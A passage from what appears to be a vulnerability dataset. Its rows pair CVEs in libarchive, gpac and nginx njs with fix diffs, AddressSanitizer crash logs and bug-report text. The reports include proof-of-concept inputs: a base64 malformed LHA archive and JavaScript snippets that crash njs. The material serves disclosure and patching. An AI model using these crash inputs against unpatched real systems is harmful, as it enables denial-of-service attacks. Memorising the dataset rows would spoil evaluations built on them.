#1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429
#2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390
#3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986
#4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161
#5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101
#6 0x56536bde0c1e in read_archive tar/read.c:369
#7 0x56536bddf303 in tar_mode_x tar/read.c:112
#8 0x56536bddc62d in main tar/bsdtar.c:866
#9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79)
0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800)
allocated by thread T0 here:
#0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70)
#1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358
#2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480
#3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152
#4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109
#5 0x56536bddfed2 in read_archive tar/read.c:222
#6 0x56536bddf303 in tar_mode_x tar/read.c:112
#7 0x56536bddc62d in main tar/bsdtar.c:866
#8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16
Shadow bytes around the buggy address:
0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21722==ABORTING | ASan (inferred) | === https://github.com/libarchive/libarchive/issues/948 ===
Title: out-of-bounds read in lha_read_data_none()
---
Body:
Hi
The following was reported downstream in Debian at https://bugs.debian.org/875960
The `oob.lha` base64 encoded is:
````
YQAtbGgwLQwAAAAMAAAAADs9SyACeJdNBwBh5AQAAAwAAWhlbGxvLnR4dBMAQv9zdWJkaXL/c3Vi
ZGlyMv8bAEEAAG5cdYrKAQAAblx1in8fAORrn6AjzQEGAADnVA8AADA=
````
tested against 5562545b5562f6d12a4ef991fae158bf4ccf92b6:
```
ASAN_OPTIONS="detect_leaks=0" ./bsdtar -xOf ~/oob.lha
=================================================================
==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8
READ of size 2 at 0x631000024800 thread T0
#0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740
#1 0x56536be5f791 in lha_read_data_none libarchive/archive_read_support_format_lha.c:1429
#2 0x56536be5f385 in archive_read_format_lha_read_data libarchive/archive_read_support_format_lha.c:1390
#3 0x56536be06398 in _archive_read_data_block libarchive/archive_read.c:986
#4 0x56536bec9481 in archive_read_data_block libarchive/archive_virtual.c:161
#5 0x56536be0af76 in archive_read_data_into_fd libarchive/archive_read_data_into_fd.c:101
#6 0x56536bde0c1e in read_archive tar/read.c:369
#7 0x56536bddf303 in tar_mode_x tar/read.c:112
#8 0x56536bddc62d in main tar/bsdtar.c:866
#9 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#10 0x56536bdd7f79 in _start (/root/libarchive/bsdtar+0x3ff79)
0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800)
allocated by thread T0 here:
#0 0x7fd1bea69b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70)
#1 0x56536be1926e in file_open libarchive/archive_read_open_filename.c:358
#2 0x56536be03da8 in archive_read_open1 libarchive/archive_read.c:480
#3 0x56536be186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152
#4 0x56536be182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109
#5 0x56536bddfed2 in read_archive tar/read.c:222
#6 0x56536bddf303 in tar_mode_x tar/read.c:112
#7 0x56536bddc62d in main tar/bsdtar.c:866
#8 0x7fd1bd14c2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_lha.c:1740 in lha_crc16
Shadow bytes around the buggy address:
0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21722==ABORTING
```
---
Comment #1 by carnil:
This issue was assigned CVE-2017-14503
---
Comment #2 by lsandov1:
Hi @carnil, is someone between the community is planning to fix this issue?
---
Comment #3 by jstarks:
It looks like this was fixed with 2c8c83b9731ff822fad6cc8c670ea5519c366a14.
---
Comment #4 by VictorRodriguez:
Thanks for the update @jstarks Can we apply the same logic to https://github.com/libarchive/libarchive/issues/949 ?
---
Comment #5 by jstarks:
I created PR #1042 that I believe fixes #949. A libarchive maintainer should weigh in on whether this is the appropriate fix, though.
---
Comment #6 by VictorRodriguez:
any update on the approval of @jstarks PR https://github.com/libarchive/libarchive/pull/1042 ?
---
Comment #7 by xhudik:
Hi, this seems to be relatively serious security issue since major linux distributions (like Ubuntu) are using libarchive. Qualsys reported this:
```
THREAT:
Libarchive library provides features to support different kinds of archive and compression formats.
libarchive is affected by an Out-of-Bounds vulnerability in the read_data_none() in archive_read_support_format_lha.c component caused by the
extraction of a specially crafted lha archive.
Affected Version:
libarchive prior to and including version 3.3.2
QID Detection Logic:
The checks looks at the version of the package libarchive/libarchive13 to see if a vulnerable version is installed.
IMPACT:
Successful exploitation of the vulnerability will lead to denial of service attacks
```
Another source: https://cyber.vumetric.com/vulns/CVE-2017-5601/out-bounds-read-vulnerability-libarchive-3-2-2/
(it seems the issue is relevant also in 3.3.2 version)
I dont want to be pushy and I do understand people are working on this during their free time but this is a pain :( ...
---
Comment #8 by VictorRodriguez:
@xhudik https://github.com/libarchive/libarchive/pull/1042 is merged now
---
Comment #9 by xhudik:
@VictorRodriguez - grea!!! So this issue can be closed now - right?
---
Comment #10 by VictorRodriguez:
@carnil is the one that has power to close the issue | https://nvd.nist.gov/vuln/detail/CVE-2017-14503 | |
gpac.cve-2023-0760 | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to V2.1.0-DEV. | https://github.com/gpac/gpac/commit/ea7395f39f601a7750d48d606e9d10ea0b7beefe, https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21 | https://github.com/gpac/gpac/commit/ea7395f39f601a7750d48d606e9d10ea0b7beefe, https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21 | CWE-122, CWE-787 | gpac/gpac | ea7395f39f601a7750d48d606e9d10ea0b7beefe~1 | diff --git a/src/isomedia/box_code_base.c b/src/isomedia/box_code_base.c
index baf07ff352..9a9ad09b45 100644
--- a/src/isomedia/box_code_base.c
+++ b/src/isomedia/box_code_base.c
@@ -4429,7 +4429,7 @@ GF_Err video_sample_entry_box_size(GF_Box *s)
/*VVC*/
gf_isom_check_position(s, (GF_Box *)ptr->vvc_config, &pos);
-
+
/*AV1*/
gf_isom_check_position(s, (GF_Box *)ptr->av1_config, &pos);
@@ -8857,7 +8857,7 @@ GF_Err dac3_box_write(GF_Box *s, GF_BitStream *bs)
e = gf_isom_box_write_header(s, bs);
if (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DAC3;
if (e) return e;
-
+
e = gf_odf_ac3_cfg_write_bs(&ptr->cfg, bs);
if (e) return e;
@@ -9983,6 +9983,9 @@ static void *sgpd_parse_entry(u32 grouping_type, GF_BitStream *bs, s32 bytes_in_
}
return ptr;
}
+ case 0:
+ GF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, ("[iso file] sgpd entry null grouping_type is invalid\n") );
+ return NULL;
default:
break;
}
diff --git a/src/isomedia/box_funcs.c b/src/isomedia/box_funcs.c
index 98ff6bbff6..eb7f441510 100644
--- a/src/isomedia/box_funcs.c
+++ b/src/isomedia/box_funcs.c
@@ -104,7 +104,7 @@ GF_Err gf_isom_box_parse_ex(GF_Box **outBox, GF_BitStream *bs, u32 parent_type,
GF_Box *newBox;
Bool skip_logs = (gf_bs_get_cookie(bs) & GF_ISOM_BS_COOKIE_NO_LOGS ) ? GF_TRUE : GF_FALSE;
Bool is_special = GF_TRUE;
-
+
if ((bs == NULL) || (outBox == NULL) ) return GF_BAD_PARAM;
*outBox = NULL;
if (gf_bs_available(bs) < 8) {
@@ -1528,7 +1528,7 @@ static struct box_registry_entry {
BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_YVYU, video_sample_entry, "stsd", "apple"),
BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_RGBA, video_sample_entry, "stsd", "apple"),
BOX_DEFINE_S_CHILD( GF_QT_SUBTYPE_ABGR, video_sample_entry, "stsd", "apple"),
-
+
FBOX_DEFINE_S(GF_QT_BOX_TYPE_STPS, stss, "stbl", 0, "apple"),
//dolby boxes
@@ -1918,7 +1918,7 @@ void gf_isom_check_position(GF_Box *s, GF_Box *child, u32 *pos)
s32 cur_pos = gf_list_find(s->child_boxes, child);
- //happens when partially cloning boxes
+ //happens when partially cloning boxes
if (cur_pos < 0) return;
if (cur_pos != (s32) *pos) {
@@ -1949,7 +1949,7 @@ GF_Err gf_isom_box_write(GF_Box *a, GF_BitStream *bs)
if (!a) return GF_BAD_PARAM;
//box has been disabled, do not write
if (!a->size) return GF_OK;
-
+
if (a->registry->disabled) {
GF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, ("[iso file] Box %s disabled registry, skip write\n", gf_4cc_to_str(a->type)));
return GF_OK;
diff --git a/src/isomedia/isom_read.c b/src/isomedia/isom_read.c
index ba474c335f..5484d86235 100644
--- a/src/isomedia/isom_read.c
+++ b/src/isomedia/isom_read.c
@@ -2304,7 +2304,7 @@ GF_Err gf_isom_get_sample_for_media_time(GF_ISOFile *the_file, u32 trackNumber,
}
if (static_sample && ! (*sample)->alloc_size )
(*sample)->alloc_size = (*sample)->dataLength;
-
+
return GF_OK;
}
@@ -4674,7 +4674,7 @@ const u32 *gf_isom_get_track_switch_parameter(GF_ISOFile *movie, u32 trackNumber
if (!map) return NULL;
tsel = (GF_TrackSelectionBox*)gf_list_get(map->boxes, group_index-1);
if (!tsel) return NULL;
-
+
*switchGroupID = tsel->switchGroup;
*criteriaListSize = tsel->attributeListCount;
return (const u32 *) tsel->attributeList;
@@ -5409,7 +5409,7 @@ GF_Err gf_isom_get_sample_cenc_info_internal(GF_TrackBox *trak, void *traf, GF_S
if (skip_byte_block) *skip_byte_block = 0;
if (key_info) *key_info = NULL;
if (key_info_size) *key_info_size = 0;
-
+
if (!trak) return GF_BAD_PARAM;
#ifdef GPAC_DISABLE_ISOM_FRAGMENTS
| https://huntr.dev/bounties/d06223df-a473-4c82-96d0-23726b844b21 | https://nvd.nist.gov/vuln/detail/CVE-2023-0760 | |||
njs.cve-2022-31307 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_string_offset at src/njs_string.c. | https://github.com/nginx/njs/issues/482 | https://github.com/nginx/njs/commit/eafe4c7a326b163612f10861392622b5da5b1792 | CWE-416 | nginx/njs | eafe4c7a326b163612f10861392622b5da5b1792~1 | diff --git a/src/njs_iterator.c b/src/njs_iterator.c
index 90c3046fb..043e4483c 100644
--- a/src/njs_iterator.c
+++ b/src/njs_iterator.c
@@ -560,11 +560,14 @@ njs_object_iterate_reverse(njs_vm_t *vm, njs_iterator_args_t *args,
} else {
/* UTF-8 string. */
- p = njs_string_offset(string_prop.start, end, from);
- p = njs_utf8_next(p, end);
-
+ p = NULL;
i = from + 1;
+ if (i > to) {
+ p = njs_string_offset(string_prop.start, end, from);
+ p = njs_utf8_next(p, end);
+ }
+
while (i-- > to) {
pos = njs_utf8_prev(p);
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index def152aa8..0b73c77b3 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -5103,6 +5103,9 @@ static njs_unit_test_t njs_test[] =
{ njs_str("Array.prototype.lastIndexOf.call({0:'undefined', length:0}, 'undefined')"),
njs_str("-1") },
+ { njs_str("[1,0,-1,-2].map(v => Array.prototype.lastIndexOf.call('Ф', 'Ф', v))"),
+ njs_str("0,0,0,-1") },
+
{ njs_str("[''].lastIndexOf.call('00000000000000000000000000000а00')"),
njs_str("-1") },
| https://github.com/nginx/njs/issues/482 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING | === https://github.com/nginx/njs/issues/482 ===
Title: SEGV njs_string.c:2535:18 in njs_string_offset
---
Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = String.fromCodePoint(6631);
const a7 = Object(a4);
const a9 = [65537,a7,"c"];
const a10 = Object.setPrototypeOf(a7,a9);
const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | https://nvd.nist.gov/vuln/detail/CVE-2022-31307 | |
njs.cve-2021-46462 | njs through 0.7.1, used in NGINX, was discovered to contain a segmentation violation via njs_object_set_prototype in /src/njs_object.c. | https://github.com/nginx/njs/issues/449 | https://github.com/nginx/njs/commit/39e8fa1b7db1680654527f8fa0e9ee93b334ecba, https://github.com/nginx/njs/issues/449 | nginx/njs | 39e8fa1b7db1680654527f8fa0e9ee93b334ecba~1 | diff --git a/src/njs_function.c b/src/njs_function.c
index 0c23ca05c..ae0fa11ff 100644
--- a/src/njs_function.c
+++ b/src/njs_function.c
@@ -1385,18 +1385,10 @@ njs_function_prototype_apply(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
if (njs_is_null_or_undefined(arr_like)) {
length = 0;
-
- goto activate;
-
- } else if (njs_is_array(arr_like)) {
- arr = arr_like->data.u.array;
-
- args = arr->start;
- length = arr->length;
-
goto activate;
+ }
- } else if (njs_slow_path(!njs_is_object(arr_like))) {
+ if (njs_slow_path(!njs_is_object(arr_like))) {
njs_type_error(vm, "second argument is not an array-like object");
return NJS_ERROR;
}
@@ -1406,6 +1398,11 @@ njs_function_prototype_apply(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
return ret;
}
+ if (njs_slow_path(length > 1024)) {
+ njs_internal_error(vm, "argument list is too long");
+ return NJS_ERROR;
+ }
+
arr = njs_array_alloc(vm, 1, length, NJS_ARRAY_SPARE);
if (njs_slow_path(arr == NULL)) {
return NJS_ERROR;
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index f332999ac..35e2f1329 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -10063,6 +10063,10 @@ static njs_unit_test_t njs_test[] =
"f.apply(123, {})"),
njs_str("123") },
+ { njs_str("(function(index, ...rest){ return rest[index];})"
+ ".apply({}, [1022].concat(Array(1023).fill(1).map((v,i)=>i.toString(16))))"),
+ njs_str("3fe") },
+
{ njs_str("String.prototype.concat.apply('a', "
"{length:2, 0:{toString:function() {return 'b'}}, 1:'c'})"),
njs_str("abc") },
| https://github.com/nginx/njs/issues/449 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
#1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
#2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
#3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
#4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
#7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
#8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING | === https://github.com/nginx/njs/issues/449 ===
Title: SEGV /njs/src/njs_object.c:2136:24 in njs_object_set_prototype
---
Body:
## Env
```
Version : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS : Ubuntu 20.04
Configure : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
const v3 = [23490,23490,23490,23490];
const v4 = {};
v3.length = 1577595327;
const v9 = Object.apply(...v4,v3);
v3.__proto__ = v9;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
#1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
#2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
#3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
#4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
#7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
#8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE
---
Comment #1 by drsm:
maybe related:
```js
>> (() => {}).apply({}, Array(2**10));
undefined
>> (() => {}).apply({}, Array(2**13));
Thrown:
RangeError: Maximum call stack size exceeded
at Function.prototype.apply (native)
at main (shell:1)
>> (() => {}).apply({}, Array(2**30));
undefined
>> (() => {}).apply({}, Array(2**32));
Thrown:
RangeError: Invalid array length
at Array (native)
at Function.prototype.apply (native)
at main (shell:1)
```
---
Comment #2 by P1umer:
This issue was assigned [CVE-2021-46462](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46462). | https://nvd.nist.gov/vuln/detail/CVE-2021-46462 | ||
njs.cve-2022-29779 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_value_own_enumerate at src/njs_value.c. | https://github.com/nginx/njs/issues/485 | https://github.com/nginx/njs/commit/2e00e95473861846aa8538be87db07699d9f676d | nginx/njs | 2e00e95473861846aa8538be87db07699d9f676d~1 | diff --git a/src/njs_array.c b/src/njs_array.c
index 0b8c7b919..2ceb6be7e 100644
--- a/src/njs_array.c
+++ b/src/njs_array.c
@@ -1284,6 +1284,11 @@ njs_array_prototype_splice(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
if (njs_slow_path(ret == NJS_ERROR)) {
return ret;
}
+
+ } else {
+ if (deleted->object.fast_array) {
+ njs_set_invalid(&deleted->start[i]);
+ }
}
}
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index 25e066c32..b28e34fef 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -4869,6 +4869,15 @@ static njs_unit_test_t njs_test[] =
"Array.prototype.splice.call(obj, 2**53-2, 0, 'C');"),
njs_str("TypeError: Invalid length") },
+ { njs_str("var a = {1: 'B', length: 2};"
+ "Array.prototype.splice.call(a, 0)"),
+ njs_str(",B") },
+
+ { njs_str("var a = new Uint8Array();"
+ "a.__proto__ = [1,2,3];"
+ "a.splice(0)"),
+ njs_str(",,") },
+
{ njs_str("var a = []; a.reverse()"),
njs_str("") },
| https://github.com/nginx/njs/issues/485 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
